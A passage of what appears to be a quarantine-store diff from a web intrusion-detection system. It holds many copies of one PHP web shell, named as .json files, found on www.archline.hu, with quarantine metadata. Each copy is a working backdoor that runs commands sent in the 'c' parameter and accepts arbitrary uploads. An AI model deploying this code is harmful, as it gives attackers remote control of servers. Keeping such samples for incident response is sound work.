"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783857948,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "_h3x_c9lejjtn.php.json.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
39
var/www/hosting/archline.hu/www/_h3x_czk16vzq.php.json
Normal file
39
var/www/hosting/archline.hu/www/_h3x_czk16vzq.php.json
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "2846",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:_h3x_czk16vzq.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_czk16vzq.php.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783904363,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "_h3x_czk16vzq.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
39
var/www/hosting/archline.hu/www/_h3x_czx65dw0.php.json
Normal file
39
var/www/hosting/archline.hu/www/_h3x_czx65dw0.php.json
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "2917",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:_h3x_czx65dw0.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_czx65dw0.php.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783870221,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "_h3x_czx65dw0.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
39
var/www/hosting/archline.hu/www/_h3x_eadu7slw.php.json.json
Normal file
39
var/www/hosting/archline.hu/www/_h3x_eadu7slw.php.json.json
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "2864",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:_h3x_eadu7slw.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_eadu7slw.php.json.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783857929,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "_h3x_eadu7slw.php.json.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
39
var/www/hosting/archline.hu/www/_h3x_eug6h7tt.php.json
Normal file
39
var/www/hosting/archline.hu/www/_h3x_eug6h7tt.php.json
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "2830",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:_h3x_eug6h7tt.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_eug6h7tt.php.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783834297,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "_h3x_eug6h7tt.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
39
var/www/hosting/archline.hu/www/_h3x_fcmkp9am.php.json
Normal file
39
var/www/hosting/archline.hu/www/_h3x_fcmkp9am.php.json
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "2865",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:_h3x_fcmkp9am.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_fcmkp9am.php.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783866429,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "_h3x_fcmkp9am.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
39
var/www/hosting/archline.hu/www/_h3x_gx74cxjp.php.json.json
Normal file
39
var/www/hosting/archline.hu/www/_h3x_gx74cxjp.php.json.json
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "2873",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:_h3x_gx74cxjp.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_gx74cxjp.php.json.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783838194,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "_h3x_gx74cxjp.php.json.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
39
var/www/hosting/archline.hu/www/_h3x_ixxtxhjy.php.json
Normal file
39
var/www/hosting/archline.hu/www/_h3x_ixxtxhjy.php.json
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "2862",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:_h3x_ixxtxhjy.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_ixxtxhjy.php.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783951629,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "_h3x_ixxtxhjy.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
39
var/www/hosting/archline.hu/www/_h3x_k72j0c9s.php.json
Normal file
39
var/www/hosting/archline.hu/www/_h3x_k72j0c9s.php.json
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "2851",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:_h3x_k72j0c9s.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_k72j0c9s.php.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783866468,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "_h3x_k72j0c9s.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
39
var/www/hosting/archline.hu/www/_h3x_mvo7778m.php.json.json
Normal file
39
var/www/hosting/archline.hu/www/_h3x_mvo7778m.php.json.json
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "2825",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:_h3x_mvo7778m.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_mvo7778m.php.json.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783838201,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "_h3x_mvo7778m.php.json.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
39
var/www/hosting/archline.hu/www/_h3x_nx6e9wei.php.json
Normal file
39
var/www/hosting/archline.hu/www/_h3x_nx6e9wei.php.json
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "2853",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:_h3x_nx6e9wei.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_nx6e9wei.php.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783870295,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "_h3x_nx6e9wei.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
39
